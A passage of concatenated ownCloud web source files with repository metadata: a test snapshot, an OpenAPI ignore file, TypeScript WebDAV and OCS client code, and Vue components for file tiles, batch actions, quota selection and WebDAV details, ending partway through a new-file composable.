// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html
exports[`Text editor app > shows the editor 1`] = `
"<div class="oc-text-editor oc-width-1-1 oc-height-1-1">
<!---->
</div>"
`;
| owncloud/web/packages/web-app-text-editor/tests/unit/__snapshots__/app.spec.ts.snap/0 | {
"file_path": "owncloud/web/packages/web-app-text-editor/tests/unit/__snapshots__/app.spec.ts.snap",
"repo_id": "owncloud",
"token_count": 82
} | 804 |
# OpenAPI Generator Ignore
# Generated by openapi-generator https://github.com/openapitools/openapi-generator
# Use this file to prevent files from being overwritten by the generator.
# The patterns follow closely to .gitignore or .dockerignore.
# As an example, the C# client generator defines ApiClient.cs.
# You can make changes and tell OpenAPI Generator to ignore just this file by uncommenting the following line:
#ApiClient.cs
# You can match any string of characters against a directory, file or extension with a single asterisk (*):
#foo/*/qux
# The above matches foo/bar/qux and foo/baz/qux, but not foo/bar/baz/qux
# You can recursively match patterns against a directory, file or extension with a double asterisk (**):
#foo/**/qux
# This matches foo/bar/qux, foo/baz/qux, and foo/bar/baz/qux
# You can also negate patterns with an exclamation (!).
# For example, you can ignore all files in a docs folder with the file extension .md:
#docs/*.md
# Then explicitly reverse the ignore rule for a single file:
#!docs/README.md
| owncloud/web/packages/web-client/src/generated/.openapi-generator-ignore/0 | {
"file_path": "owncloud/web/packages/web-client/src/generated/.openapi-generator-ignore",
"repo_id": "owncloud",
"token_count": 300
} | 805 |
import { Capabilities, GetCapabilitiesFactory } from './capabilities'
import { AxiosInstance } from 'axios'
import { UrlSign } from './urlSign'
import { Ref } from 'vue'
import { User } from '../generated'
export type { Capabilities } from './capabilities'
export interface OCS {
getCapabilities: () => Promise<Capabilities>
signUrl: (url: string) => Promise<string>
}
export const ocs = (baseURI: string, axiosClient: AxiosInstance, user: Ref<User>): OCS => {
const url = new URL(baseURI)
url.pathname = [...url.pathname.split('/'), 'ocs', 'v1.php'].filter(Boolean).join('/')
const ocsV1BaseURI = url.href
const capabilitiesFactory = GetCapabilitiesFactory(ocsV1BaseURI, axiosClient)
const urlSign = new UrlSign({ baseURI, axiosClient, user })
return {
getCapabilities: () => {
return capabilitiesFactory.getCapabilities()
},
signUrl: (url: string) => {
return urlSign.signUrl(url)
}
}
}
| owncloud/web/packages/web-client/src/ocs/index.ts/0 | {
"file_path": "owncloud/web/packages/web-client/src/ocs/index.ts",
"repo_id": "owncloud",
"token_count": 322
} | 806 |
import { Headers } from 'webdav'
import { urlJoin } from '../utils'
import { isPublicSpaceResource, SpaceResource } from '../helpers'
import { WebDavOptions } from './types'
import { buildPublicLinkAuthHeader, DAV } from './client'
import { HttpError } from '../errors'
export type GetFileContentsResponse = {
body: any
[key: string]: any
}
export const GetFileContentsFactory = (dav: DAV, { clientService }: WebDavOptions) => {
return {
async getFileContents(
space: SpaceResource,
{ path }: { path?: string },
{
responseType = 'text',
noCache = true
}: {
responseType?: 'arrayBuffer' | 'blob' | 'text'
noCache?: boolean
} = {}
): Promise<GetFileContentsResponse> {
const { httpAuthenticated, httpUnAuthenticated } = clientService
const client = isPublicSpaceResource(space) ? httpUnAuthenticated : httpAuthenticated
const requestOptions = {
responseType,
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
...(noCache && { 'Cache-Control': 'no-cache' })
} as Headers
}
if (isPublicSpaceResource(space) && space.publicLinkPassword) {
requestOptions.headers.Authorization = buildPublicLinkAuthHeader(space.publicLinkPassword)
}
try {
const response = await client.get(
dav.getFileUrl(urlJoin(space.webDavPath, path)),
requestOptions
)
return {
response,
body: response.data,
headers: {
ETag: response.headers.get('etag'),
'OC-ETag': response.headers.get('oc-etag'),
'OC-FileId': response.headers.get('oc-fileid')
}
}
} catch (error) {
const { message, response } = error
throw new HttpError(message, response, response.status)
}
}
}
}
| owncloud/web/packages/web-client/src/webdav/getFileContents.ts/0 | {
"file_path": "owncloud/web/packages/web-client/src/webdav/getFileContents.ts",
"repo_id": "owncloud",
"token_count": 776
} | 807 |
import { CreateFolderFactory } from './createFolder'
import { GetFileContentsFactory } from './getFileContents'
import { GetFileInfoFactory } from './getFileInfo'
import { GetFileUrlFactory } from './getFileUrl'
import { GetPublicFileUrlFactory } from './getPublicFileUrl'
import { ListFilesFactory } from './listFiles'
import { PutFileContentsFactory } from './putFileContents'
import { CopyFilesFactory } from './copyFiles'
import { MoveFilesFactory } from './moveFiles'
import { DeleteFileFactory } from './deleteFile'
import { RestoreFileFactory } from './restoreFile'
import { ListFileVersionsFactory } from './listFileVersions'
import { RestoreFileVersionFactory } from './restoreFileVersion'
import { ClearTrashBinFactory } from './clearTrashBin'
import { SearchFactory } from './search'
import { GetPathForFileIdFactory } from './getPathForFileId'
import { Capabilities } from '../ocs'
import { Ref } from 'vue'
import { ListFilesByIdFactory } from './listFilesById'
import { User } from '../generated'
import { SetFavoriteFactory } from './setFavorite'
import { ListFavoriteFilesFactory } from './listFavoriteFiles'
export interface WebDavOptions {
accessToken: Ref<string>
baseUrl: string
capabilities: Ref<Capabilities['capabilities']>
clientService: any
language: Ref<string>
user: Ref<User>
}
export interface WebDAV {
getFileInfo: ReturnType<typeof GetFileInfoFactory>['getFileInfo']
getFileUrl: ReturnType<typeof GetFileUrlFactory>['getFileUrl']
getPublicFileUrl: ReturnType<typeof GetPublicFileUrlFactory>['getPublicFileUrl']
revokeUrl: ReturnType<typeof GetFileUrlFactory>['revokeUrl']
listFiles: ReturnType<typeof ListFilesFactory>['listFiles']
listFilesById: ReturnType<typeof ListFilesByIdFactory>['listFilesById']
createFolder: ReturnType<typeof CreateFolderFactory>['createFolder']
getFileContents: ReturnType<typeof GetFileContentsFactory>['getFileContents']
putFileContents: ReturnType<typeof PutFileContentsFactory>['putFileContents']
getPathForFileId: ReturnType<typeof GetPathForFileIdFactory>['getPathForFileId']
copyFiles: ReturnType<typeof CopyFilesFactory>['copyFiles']
moveFiles: ReturnType<typeof MoveFilesFactory>['moveFiles']
deleteFile: ReturnType<typeof DeleteFileFactory>['deleteFile']
restoreFile: ReturnType<typeof RestoreFileFactory>['restoreFile']
listFileVersions: ReturnType<typeof ListFileVersionsFactory>['listFileVersions']
restoreFileVersion: ReturnType<typeof RestoreFileVersionFactory>['restoreFileVersion']
clearTrashBin: ReturnType<typeof ClearTrashBinFactory>['clearTrashBin']
search: ReturnType<typeof SearchFactory>['search']
listFavoriteFiles: ReturnType<typeof ListFavoriteFilesFactory>['listFavoriteFiles']
setFavorite: ReturnType<typeof SetFavoriteFactory>['setFavorite']
}
| owncloud/web/packages/web-client/src/webdav/types.ts/0 | {
"file_path": "owncloud/web/packages/web-client/src/webdav/types.ts",
"repo_id": "owncloud",
"token_count": 791
} | 808 |
<template>
<oc-button
id="new-space-menu-btn"
v-oc-tooltip="$gettext('Request new project')"
type="a"
href="https://cern.service-now.com/service-portal?id=sc_cat_item&name=request-storage-space&se=CERNBox-Service"
target="_blank"
appearance="filled"
variation="primary"
>
<oc-icon name="add" />
<span v-translate>New project</span>
</oc-button>
</template>
| owncloud/web/packages/web-pkg/src/cern/components/CreateSpace.vue/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/cern/components/CreateSpace.vue",
"repo_id": "owncloud",
"token_count": 165
} | 809 |
<template>
<div>
<oc-list
id="oc-appbar-batch-actions"
:class="{ 'oc-appbar-batch-actions-squashed': limitedScreenSpace }"
>
<action-menu-item
v-for="(action, index) in actions"
:key="`action-${index}`"
:action="action"
:action-options="actionOptions"
appearance="raw"
class="batch-actions oc-mr-s"
:shortcut-hint="false"
:show-tooltip="limitedScreenSpace"
/>
</oc-list>
</div>
</template>
<script lang="ts">
import ActionMenuItem from './ContextActions/ActionMenuItem.vue'
import { defineComponent, PropType } from 'vue'
import { Action, ActionOptions } from '../composables/actions'
export default defineComponent({
name: 'BatchActions',
components: { ActionMenuItem },
props: {
actions: {
type: Array as PropType<Action[]>,
required: true
},
actionOptions: {
type: Object as PropType<ActionOptions>,
required: true
},
limitedScreenSpace: {
type: Boolean,
default: false,
required: false
}
}
})
</script>
<style lang="scss">
#oc-appbar-batch-actions {
.action-menu-item {
padding-left: var(--oc-space-small) !important;
padding-right: var(--oc-space-small) !important;
gap: var(--oc-space-xsmall) !important;
}
.action-menu-item:hover:not([disabled]),
.action-menu-item:focus:not([disabled]) {
background-color: var(--oc-color-background-hover);
border-color: var(--oc-color-background-hover);
}
display: block;
li {
float: left !important;
}
@media only screen and (min-width: 1200px) {
li {
margin-top: 0;
margin-bottom: 0;
}
align-items: center;
display: flex;
}
}
.oc-appbar-batch-actions-squashed .oc-files-context-action-label {
display: none;
}
</style>
| owncloud/web/packages/web-pkg/src/components/BatchActions.vue/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/components/BatchActions.vue",
"repo_id": "owncloud",
"token_count": 751
} | 810 |
<template>
<div id="tiles-view" class="oc-px-m oc-pt-l">
<div v-if="sortFields.length" class="oc-tile-sorting oc-border-b oc-mb-m oc-pb-s">
<span class="oc-mr-xs" v-text="$gettext('Sort by: ')" />
<oc-button id="oc-tiles-sort-btn" appearance="raw" gap-size="none">
<span v-text="$gettext(currentSortField.label)" />
<oc-icon name="arrow-down-s" />
</oc-button>
<oc-drop
ref="sortDrop"
toggle="#oc-tiles-sort-btn"
class="oc-tiles-sort-drop"
mode="click"
padding-size="small"
close-on-click
>
<oc-list class="oc-tiles-sort-list">
<li v-for="(field, index) in sortFields" :key="index" class="oc-my-xs">
<oc-button
justify-content="space-between"
class="oc-tiles-sort-list-item oc-p-s oc-width-1-1"
:class="{
'oc-background-primary-gradient': isSortFieldSelected(field),
selected: isSortFieldSelected(field)
}"
:appearance="isSortFieldSelected(field) ? 'raw-inverse' : 'raw'"
:variation="isSortFieldSelected(field) ? 'primary' : 'passive'"
@click="selectSorting(field)"
>
<span v-text="$gettext(field.label)" />
<oc-icon v-if="isSortFieldSelected(field)" name="check" variation="inherit" />
</oc-button>
</li>
</oc-list>
</oc-drop>
</div>
<oc-list class="oc-tiles oc-flex">
<li
v-for="resource in resources"
:key="resource.id"
class="oc-tiles-item has-item-context-menu"
>
<resource-tile
:ref="(el) => (tileRefs.tiles[resource.id] = el)"
:resource="resource"
:resource-route="getRoute(resource)"
:is-resource-selected="isResourceSelected(resource)"
:is-extension-displayed="areFileExtensionsShown"
:resource-icon-size="resourceIconSize"
:draggable="dragDrop"
@vue:mounted="
$emit('rowMounted', resource, tileRefs.tiles[resource.id], ImageDimension.Tile)
"
@contextmenu="showContextMenu($event, resource, tileRefs.tiles[resource.id])"
@click="emitTileClick(resource)"
@dragstart="dragStart(resource, $event)"
@dragenter.prevent="setDropStyling(resource, false, $event)"
@dragleave.prevent="setDropStyling(resource, true, $event)"
@drop="fileDropped(resource, $event)"
@dragover="$event.preventDefault()"
>
<template #selection>
<oc-checkbox
:label="getResourceCheckboxLabel(resource)"
:hide-label="true"
size="large"
class="oc-flex-inline oc-p-s"
:model-value="isResourceSelected(resource)"
@click.stop.prevent="toggleTile([resource, $event])"
/>
</template>
<template #imageField>
<slot name="image" :resource="resource" />
</template>
<template #indicators>
<oc-status-indicators
v-if="getIndicators(resource).length"
:resource="resource"
:indicators="getIndicators(resource)"
/>
</template>
<template #actions>
<slot name="actions" :resource="resource" />
</template>
<template #contextMenu>
<context-menu-quick-action
:ref="(el) => (tileRefs.dropBtns[resource.id] = el)"
:item="resource"
class="resource-tiles-btn-action-dropdown"
@quick-action-clicked="showContextMenuOnBtnClick($event, resource, resource.id)"
>
<template #contextMenu>
<slot name="contextMenu" :resource="resource" />
</template>
</context-menu-quick-action>
</template>
</resource-tile>
</li>
<li
v-for="index in ghostTilesCount"
:key="`ghost-tile-${index}`"
class="ghost-tile"
:aria-hidden="true"
/>
</oc-list>
<Teleport v-if="dragItem" to="body">
<resource-ghost-element ref="ghostElementRef" :preview-items="[dragItem, ...dragSelection]" />
</Teleport>
<div class="oc-tiles-footer">
<slot name="footer" />
</div>
</div>
</template>
<script lang="ts">
import {
computed,
defineComponent,
nextTick,
onBeforeUnmount,
onBeforeUpdate,
onMounted,
PropType,
ref,
unref,
watch
} from 'vue'
import { useGettext } from 'vue3-gettext'
import { Resource, SpaceResource } from '@ownclouders/web-client'
// Constants should match what is being used in OcTable/ResourceTable
// Alignment regarding naming would be an API-breaking change and can
// Be done at a later point in time?
import { ContextMenuQuickAction } from '../ContextActions'
import { createLocationSpaces } from '../../router'
import { createFileRouteOptions, displayPositionedDropdown } from '../../helpers'
import { eventBus } from '../../services'
import { ImageDimension } from '../../constants'
import { ResourceTile, ResourceGhostElement } from './index'
import {
FolderViewModeConstants,
SortDir,
SortField,
useMessages,
useResourceRouteResolver,
useTileSize,
useResourcesStore,
useViewSizeMax
} from '../../composables'
export default defineComponent({
name: 'ResourceTiles',
components: { ContextMenuQuickAction, ResourceGhostElement, ResourceTile },
props: {
/**
* Array of resources (spaces, folders, files) to be displayed as tiles
*/
resources: {
type: Array as PropType<Resource[]>,
default: () => []
},
selectedIds: {
type: Array,
default: () => []
},
targetRouteCallback: {
type: Function,
required: false,
default: undefined
},
space: {
type: Object as PropType<SpaceResource>,
required: false,
default: null
},
sortFields: {
type: Array as PropType<SortField[]>,
default: () => []
},
sortBy: {
type: String,
required: false,
default: undefined
},
sortDir: {
type: String,
required: false,
default: undefined,
validator: (value: string) => {
return (
value === undefined || [SortDir.Asc.toString(), SortDir.Desc.toString()].includes(value)
)
}
},
viewSize: {
type: Number,
required: false,
default: () => FolderViewModeConstants.tilesSizeDefault
},
dragDrop: {
type: Boolean,
default: false
}
},
emits: ['fileClick', 'fileDropped', 'rowMounted', 'sort', 'update:selectedIds'],
setup(props, context) {
const { showMessage } = useMessages()
const { $gettext } = useGettext()
const resourcesStore = useResourcesStore()
const { emit } = context
const viewSizeMax = useViewSizeMax()
const viewSizeCurrent = computed(() => {
return Math.min(unref(viewSizeMax), props.viewSize)
})
const areFileExtensionsShown = computed(() => resourcesStore.areFileExtensionsShown)
const dragItem = ref()
const ghostElementRef = ref()
const tileRefs = ref({
tiles: [],
dropBtns: []
})
const resourceRouteResolver = useResourceRouteResolver(
{
space: ref(props.space),
targetRouteCallback: computed(() => props.targetRouteCallback)
},
context
)
const getRoute = (resource) => {
if (resource.type === 'space') {
return resource.disabled
? { path: '#' }
: createLocationSpaces(
'files-spaces-generic',
createFileRouteOptions(resource as SpaceResource, {
path: '',
fileId: resource.fileId
})
)
}
if (resource.type === 'folder') {
return resourceRouteResolver.createFolderLink({
path: resource.path,
fileId: resource.fileId,
resource: resource
})
}
return { path: '' }
}
const emitTileClick = (resource) => {
if (resource.disabled && resource.type === 'space') {
showMessage({
title: $gettext('Disabled spaces cannot be entered'),
status: 'warning'
})
}
if (resource.type !== 'space' && resource.type !== 'folder') {
resourceRouteResolver.createFileAction(resource)
}
}
const showContextMenuOnBtnClick = (data, item, index) => {
const { dropdown, event } = data
if (dropdown?.tippy === undefined) {
return
}
displayPositionedDropdown(dropdown.tippy, event, unref(tileRefs).dropBtns[index])
}
const isResourceSelected = (resource) => {
return props.selectedIds.includes(resource.id)
}
const emitSelect = (selectedIds) => {
emit('update:selectedIds', selectedIds)
}
const showContextMenu = (event, item: Resource, reference) => {
event.preventDefault()
const drop = unref(tileRefs).tiles[item.id]?.$el.getElementsByClassName(
'resource-tiles-btn-action-dropdown'
)[0]
if (drop === undefined) {
return
}
if (!isResourceSelected(item)) {
emitSelect([item.id])
}
displayPositionedDropdown(drop._tippy, event, reference)
}
const toggleTile = (data) => {
const resource = data[0]
const eventData = data[1]
if (eventData && eventData.metaKey) {
return eventBus.publish('app.files.list.clicked.meta', resource)
}
if (eventData && eventData.shiftKey) {
return eventBus.publish('app.files.list.clicked.shift', {
resource,
skipTargetSelection: false
})
}
toggleSelection(resource)
}
const toggleSelection = (resource) => {
const selectedIds = !isResourceSelected(resource)
? [...props.selectedIds, resource.id]
: props.selectedIds.filter((id) => id !== resource.id)
context.emit('update:selectedIds', selectedIds)
}
const getResourceCheckboxLabel = (resource) => {
switch (resource.type) {
case 'folder':
return $gettext('Select folder')
case 'space':
return $gettext('Select space')
default:
return $gettext('Select file')
}
}
const currentSortField = computed(() => {
return (
props.sortFields.find((o) => o.name === props.sortBy && o.sortDir === props.sortDir) ||
props.sortFields[0]
)
})
const selectSorting = (field) => {
context.emit('sort', { sortBy: field.name, sortDir: field.sortDir })
}
const isSortFieldSelected = (field) => {
return unref(currentSortField) === field
}
const resourceIconSize = computed(() => {
const sizeMap = {
1: 'xlarge',
2: 'xlarge',
3: 'xxlarge',
4: 'xxlarge',
5: 'xxxlarge',
6: 'xxxlarge'
}
const size = unref(viewSizeCurrent)
return sizeMap[size] ?? 'xxlarge'
})
onBeforeUpdate(() => {
tileRefs.value = {
tiles: [],
dropBtns: []
}
})
const setDropStyling = (resource, leaving, event) => {
const hasFilePayload = (event.dataTransfer?.types || []).some((e) => e === 'Files')
if (
hasFilePayload ||
event.currentTarget?.contains(event.relatedTarget) ||
props.selectedIds.includes(resource.id) ||
resource.type !== 'folder'
) {
return
}
const el = unref(tileRefs).tiles[resource.id]
if (leaving) {
el.$el.classList.remove('oc-tiles-item-drop-highlight')
return
}
el.$el.classList.add('oc-tiles-item-drop-highlight')
}
const dragSelection = computed(() => {
return props.selectedIds.filter((id) => id !== unref(dragItem).id)
})
const setDragItem = async (item, event) => {
dragItem.value = item
await nextTick()
unref(ghostElementRef).$el.ariaHidden = 'true'
unref(ghostElementRef).$el.style.left = '-99999px'
unref(ghostElementRef).$el.style.top = '-99999px'
event.dataTransfer.setDragImage(unref(ghostElementRef).$el, 0, 0)
event.dataTransfer.dropEffect = 'move'
event.dataTransfer.effectAllowed = 'move'
}
const dragStart = async (resource, event) => {
if (!isResourceSelected(resource)) {
toggleSelection(resource)
}
await setDragItem(resource, event)
}
const fileDropped = (resource, event) => {
const hasFilePayload = (event.dataTransfer.types || []).some((e) => e === 'Files')
if (hasFilePayload) {
return
}
dragItem.value = null
setDropStyling(resource, true, event)
context.emit('fileDropped', resource.id)
}
const getIndicators = (resource: Resource) => {
return resource.indicators.filter((indicator) => indicator.category === 'system')
}
const viewWidth = ref(0)
const updateViewWidth = () => {
const element = document.getElementById('tiles-view')
const style = getComputedStyle(element)
const paddingLeft = parseInt(style.getPropertyValue('padding-left'), 10) | 0
const paddingRight = parseInt(style.getPropertyValue('padding-right'), 10) | 0
viewWidth.value = element.clientWidth - paddingLeft - paddingRight
}
const gapSizePixels = computed(() => {
return parseFloat(getComputedStyle(document.documentElement).fontSize)
})
const { calculateTileSizePixels } = useTileSize()
const maxTilesAll = computed<number[]>(() => {
const viewSizes = [...Array(FolderViewModeConstants.tilesSizeMax).keys()].map((i) => i + 1)
return [
...new Set<number>(
viewSizes.map((viewSize) => {
const pixels = calculateTileSizePixels(viewSize)
return pixels ? Math.round(unref(viewWidth) / (pixels + unref(gapSizePixels))) : 0
})
)
]
})
const maxTilesCurrent = computed(() => {
const maxTiles = unref(maxTilesAll)
return maxTiles.length < unref(viewSizeCurrent)
? maxTiles[maxTiles.length - 1]
: maxTiles[unref(viewSizeCurrent) - 1]
})
const ghostTilesCount = computed(() => {
const remainder = unref(maxTilesCurrent) ? props.resources.length % unref(maxTilesCurrent) : 0
if (!remainder) {
return 0
}
return unref(maxTilesCurrent) - remainder
})
const tileSizePixels = computed(() => {
return unref(viewWidth) / unref(maxTilesCurrent) - unref(gapSizePixels)
})
watch(
tileSizePixels,
(px: number) => {
document.documentElement.style.setProperty(`--oc-size-tiles-actual`, `${px}px`)
},
{ immediate: true }
)
watch(maxTilesAll, (all) => {
viewSizeMax.value = Math.max(all.length, 1)
})
onMounted(() => {
window.addEventListener('resize', updateViewWidth)
updateViewWidth()
})
onBeforeUnmount(() => {
window.removeEventListener('resize', updateViewWidth)
})
return {
areFileExtensionsShown,
emitTileClick,
getRoute,
showContextMenuOnBtnClick,
showContextMenu,
tileRefs,
isResourceSelected,
toggleTile,
toggleSelection,
getResourceCheckboxLabel,
selectSorting,
isSortFieldSelected,
currentSortField,
resourceIconSize,
ghostElementRef,
dragItem,
dragStart,
dragSelection,
fileDropped,
setDropStyling,
ghostTilesCount,
getIndicators
}
},
data() {
return {
ImageDimension
}
}
})
</script>
<style lang="scss" scoped>
.oc-tiles {
column-gap: 1rem;
display: grid;
grid-template-columns: repeat(auto-fit, minmax(var(--oc-size-tiles-actual), 1fr));
justify-content: flex-start;
row-gap: 1rem;
&-item-drop-highlight {
background-color: var(--oc-color-input-border) !important;
}
&-footer {
color: var(--oc-color-text-muted);
font-size: var(--oc-font-size-default);
line-height: 1.4;
padding: var(--oc-space-xsmall);
}
&-sort-drop {
width: 200px;
}
&-sort-list {
&-item {
&:hover,
&:focus {
background-color: var(--oc-color-background-hover);
text-decoration: none;
}
}
}
}
.ghost-tile {
display: list-item;
div {
opacity: 0;
box-shadow: none;
height: 100%;
display: flex;
flex-flow: column;
outline: 1px solid var(--oc-color-border);
}
}
</style>
| owncloud/web/packages/web-pkg/src/components/FilesList/ResourceTiles.vue/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/components/FilesList/ResourceTiles.vue",
"repo_id": "owncloud",
"token_count": 7330
} | 811 |
<template>
<div>
<oc-select
ref="select"
:model-value="selectedOption"
:selectable="optionSelectable"
taggable
push-tags
:clearable="false"
:options="options"
:create-option="createOption"
option-label="displayValue"
v-bind="$attrs"
@update:model-value="onUpdate"
>
<template #selected-option="{ displayValue }">
<oc-icon v-if="$attrs['read-only']" name="lock" class="oc-mr-xs" size="small" />
<span v-text="displayValue" />
</template>
<template #search="{ attributes, events }">
<input class="vs__search" v-bind="attributes" v-on="events" />
</template>
<template #option="{ displayValue, error }">
<div class="oc-flex oc-flex-between">
<span v-text="displayValue" />
</div>
<div v-if="error" class="oc-text-input-danger">{{ error }}</div>
</template>
</oc-select>
</div>
</template>
<script lang="ts">
import { formatFileSize } from '../helpers'
export default {
name: 'QuotaSelect',
props: {
totalQuota: {
type: Number,
default: 0
},
maxQuota: {
type: Number,
default: 0
}
},
emits: ['selectedOptionChange'],
data: function () {
return {
selectedOption: undefined,
options: []
}
},
computed: {
quotaLimit() {
return this.maxQuota || 1e15
},
DEFAULT_OPTIONS(): { value: number; displayValue: string; selectable?: boolean }[] {
return [
{
value: Math.pow(10, 9),
displayValue: this.getFormattedFileSize(Math.pow(10, 9))
},
{
value: 2 * Math.pow(10, 9),
displayValue: this.getFormattedFileSize(2 * Math.pow(10, 9))
},
{
value: 5 * Math.pow(10, 9),
displayValue: this.getFormattedFileSize(5 * Math.pow(10, 9))
},
{
value: 10 * Math.pow(10, 9),
displayValue: this.getFormattedFileSize(10 * Math.pow(10, 9))
},
{
value: 50 * Math.pow(10, 9),
displayValue: this.getFormattedFileSize(50 * Math.pow(10, 9))
},
{
value: 100 * Math.pow(10, 9),
displayValue: this.getFormattedFileSize(100 * Math.pow(10, 9))
},
{
displayValue: this.$gettext('No restriction'),
value: 0
}
]
}
},
watch: {
totalQuota() {
const selectedOption = this.options.find((o) => o.value === this.totalQuota)
if (selectedOption) {
this.selectedOption = selectedOption
}
}
},
mounted() {
this.setOptions()
this.selectedOption = this.options.find((o) => o.value === this.totalQuota)
},
methods: {
onUpdate(event) {
this.selectedOption = event
this.$emit('selectedOptionChange', this.selectedOption)
},
optionSelectable(option) {
return option.selectable !== false
},
isValueValidNumber(value) {
const optionIsNumberRegex = /^[0-9]\d*(([.,])\d+)?$/g
return optionIsNumberRegex.test(value) && value > 0
},
createOption(option) {
option = option.replace(',', '.')
if (!this.isValueValidNumber(option)) {
return {
displayValue: option,
value: option,
error: this.$gettext('Please enter only numbers'),
selectable: false
}
}
const value = parseFloat(option) * Math.pow(10, 9)
if (value > this.quotaLimit) {
return {
value,
displayValue: this.getFormattedFileSize(value),
error: this.$gettext('Please enter a value equal to or less than %{ quotaLimit }', {
quotaLimit: this.getFormattedFileSize(this.quotaLimit)
}),
selectable: false
}
}
return {
value,
displayValue: this.getFormattedFileSize(value)
}
},
setOptions() {
let availableOptions = [...this.DEFAULT_OPTIONS]
if (this.maxQuota) {
availableOptions = availableOptions.filter((availableOption) => {
if (this.totalQuota === 0 && availableOption.value === 0) {
availableOption.selectable = false
return true
}
return availableOption.value !== 0 && availableOption.value <= this.maxQuota
})
}
const selectedQuotaInOptions = availableOptions.find(
(option) => option.value === this.totalQuota
)
if (!selectedQuotaInOptions) {
availableOptions.push({
displayValue: this.getFormattedFileSize(this.totalQuota),
value: this.totalQuota,
selectable: this.totalQuota <= this.quotaLimit
})
}
// Sort options and make sure that unlimited is at the end
availableOptions = [
...availableOptions.filter((o) => o.value).sort((a, b) => a.value - b.value),
...availableOptions.filter((o) => !o.value)
]
this.options = availableOptions
},
getFormattedFileSize(value) {
const formattedFilesize = formatFileSize(value, this.$language.current)
return !this.isValueValidNumber(value) ? value : formattedFilesize
}
}
}
</script>
| owncloud/web/packages/web-pkg/src/components/QuotaSelect.vue/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/components/QuotaSelect.vue",
"repo_id": "owncloud",
"token_count": 2347
} | 812 |
<template>
<tr>
<th scope="col" class="oc-pr-s oc-font-semibold" v-text="$gettext('WebDAV path')" />
<td class="oc-flex oc-flex-middle">
<div
v-oc-tooltip="resource.webDavPath"
class="oc-text-truncate"
v-text="resource.webDavPath"
/>
<oc-button
v-oc-tooltip="$gettext('Copy WebDAV path')"
class="oc-ml-s"
appearance="raw"
size="small"
:aria-label="$gettext('Copy WebDAV path to clipboard')"
@click="copyWebDAVPathToClipboard"
>
<oc-icon :name="copyWebDAVPathIcon" />
</oc-button>
</td>
</tr>
<tr>
<th scope="col" class="oc-pr-s oc-font-semibold" v-text="$gettext('WebDAV URL')" />
<td class="oc-flex oc-flex-middle">
<div v-oc-tooltip="webDavUrl" class="oc-text-truncate" v-text="webDavUrl" />
<oc-button
v-oc-tooltip="$gettext('Copy WebDAV URL')"
class="oc-ml-s"
appearance="raw"
size="small"
:aria-label="$gettext('Copy WebDAV URL to clipboard')"
@click="copyWebDAVUrlToClipboard"
>
<oc-icon :name="copyWebDAVUrlIcon" />
</oc-button>
</td>
</tr>
</template>
<script lang="ts">
import { defineComponent, inject, ref, Ref, computed, unref, PropType } from 'vue'
import { urlJoin } from '@ownclouders/web-client/src/utils'
import { Resource, SpaceResource } from '@ownclouders/web-client'
export default defineComponent({
name: 'WebDavDetails',
props: {
space: {
type: Object as PropType<SpaceResource>,
required: true
}
},
setup(props) {
const resource = inject<Ref<Resource>>('resource')
const copiedIcon = 'check'
const copyIcon = 'file-copy'
const copyWebDAVPathIcon = ref(copyIcon)
const copyWebDAVUrlIcon = ref(copyIcon)
const webDavUrl = computed(() => {
return urlJoin(props.space.root.webDavUrl, unref(resource).path)
})
const copyWebDAVPathToClipboard = () => {
navigator.clipboard.writeText(unref(resource).webDavPath)
copyWebDAVPathIcon.value = copiedIcon
setTimeout(() => (copyWebDAVPathIcon.value = copyIcon), 500)
}
const copyWebDAVUrlToClipboard = () => {
navigator.clipboard.writeText(unref(webDavUrl))
copyWebDAVUrlIcon.value = copiedIcon
setTimeout(() => (copyWebDAVUrlIcon.value = copyIcon), 500)
}
return {
copyWebDAVPathIcon,
copyWebDAVPathToClipboard,
copyWebDAVUrlIcon,
copyWebDAVUrlToClipboard,
webDavUrl,
resource
}
}
})
</script>
| owncloud/web/packages/web-pkg/src/components/SideBar/WebDavDetails.vue/0 | {
"file_path": "owncloud/web/packages/web-pkg/src/components/SideBar/WebDavDetails.vue",
"repo_id": "owncloud",
"token_count": 1144
} | 813 |
import {
Resource,
SpaceResource,
extractNameWithoutExtension
} from '@ownclouders/web-client/src/helpers'
import { computed, unref } from 'vue'
import { useClientService } from '../../clientService'
import { useRouter } from '../../router'
import { FileAction, FileActionOptions } from '../types'
import { useGettext } from 'vue3-gettext'
import { resolveFileNameDuplicate } from '../../../helpers/resource'
import { join } from 'path'
import { WebDAV } from '@ownclouders/web-client/src/webdav'
import { isLocationSpacesActive } from '../../../router'
import { getIndicators } from '../../../helpers'
import { EDITOR_MODE_CREATE, useFileActions } from './useFileActions'
import {
useMessages,
useModals,
useUserStore,
useAppsStore,
useResourcesStore
} from '../../piniaStores'
import { ApplicationFileExtension } from '../../../apps'
import { storeToRefs } from 'pinia'
export const useFileActionsCreateNewFile = ({ space }: { space?: SpaceResource } = {}) => {
const { showMessage, showErrorMessage } = useMessages()
const userStore = useUserStore()
const router = useRouter()
const { $gettext } = useGettext()
const { dispatchModal } = useModals()
const appsStore = useAppsStore()
const { openEditor } = useFileActions()
const clientService = useClientService()
const resourcesStore = useResourcesStore()
const { resources, currentFolder, ancestorMetaData, areFileExtensionsShown } =
storeToRefs(resourcesStore)
const appNewFileMenuExtensions = computed(() =>
appsStore.fileExtensions.filter(({ newFileMenu }) => !!newFileMenu)
)
const getNameErrorMsg = (fileName: string) => {
if (fileName === '') {
return $gettext('File name cannot be empty')
}
if (/[/]/.test(fileName)) {
return $gettext('File name cannot contain "/"')
}
if (fileName === '.') {
return $gettext('File name cannot be equal to "."')
}
if (fileName === '..') {
return $gettext('File name cannot be equal to ".."')
}
if (/\s+$/.test(fileName)) {
return $gettext('File name cannot end with whitespace')
}
const exists = unref(resources).find((file) => file.name === fileName)
if (exists) {
return $gettext('%{name} already exists', { name: fileName }, true)
}
return null
}
const loadIndicatorsForNewFile = computed(() => {
return isLocationSpacesActive(router, 'files-spaces-generic') && space.driveType !== 'share'
})
const openFile = (resource: Resource, appFileExtension: ApplicationFileExtension) => {
if (loadIndicatorsForNewFile.value) {
resource.indicators = getIndicators({ resource, ancestorMetaData: unref(ancestorMetaData) })
}
resourcesStore.upsertResource(resource)
return openEditor(appFileExtension, space, resource, EDITOR_MODE_CREATE, space.shareId)
}
const handler = (
fileActionOptions: FileActionOptions,
extension: string,
